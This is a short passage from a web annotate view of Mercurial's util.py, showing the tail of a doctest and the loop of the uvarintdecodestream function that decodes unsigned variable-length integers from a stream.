2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3873 >>> uvarintdecodestream(BytesIO(b'\\x80'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3874 Traceback (most recent call last):
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3875 ...
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3876 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3877 """
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3878 result = 0
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3879 shift = 0
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3880 while True:
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3881 byte = ord(readexactly(fh, 1))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3882 result \|= ((byte & 0x7f) << shift)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3883 if not (byte & 0x80):
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3884 return result
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3885 shift += 7

Mercurial > public > mercurial-scm > hg-stable

annotate mercurial/util.py @ 39579:b31b01f93b11